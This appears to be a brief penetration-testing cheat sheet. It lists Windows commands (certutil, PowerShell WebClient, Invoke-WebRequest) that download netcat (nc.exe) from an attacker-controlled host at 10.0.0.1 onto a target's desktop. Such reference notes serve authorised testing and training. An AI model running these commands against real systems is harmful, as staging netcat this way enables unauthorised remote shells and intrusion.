# Can work in cmd.exe
certutil -f -urlcache http://10.0.0.1:80/nc.exe nc.exe
# only for powershell
iwr -uri http://$ip/file.txt -Outfile file.txt
powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://10.0.0.1:80/nc.exe', 'C:\Users\root\Desktop\nc.exe')"
powershell -c "Invoke-WebRequest http://10.0.0.1:80/nc.exe -OutFile C:\Users\root\Desktop\nc.exe"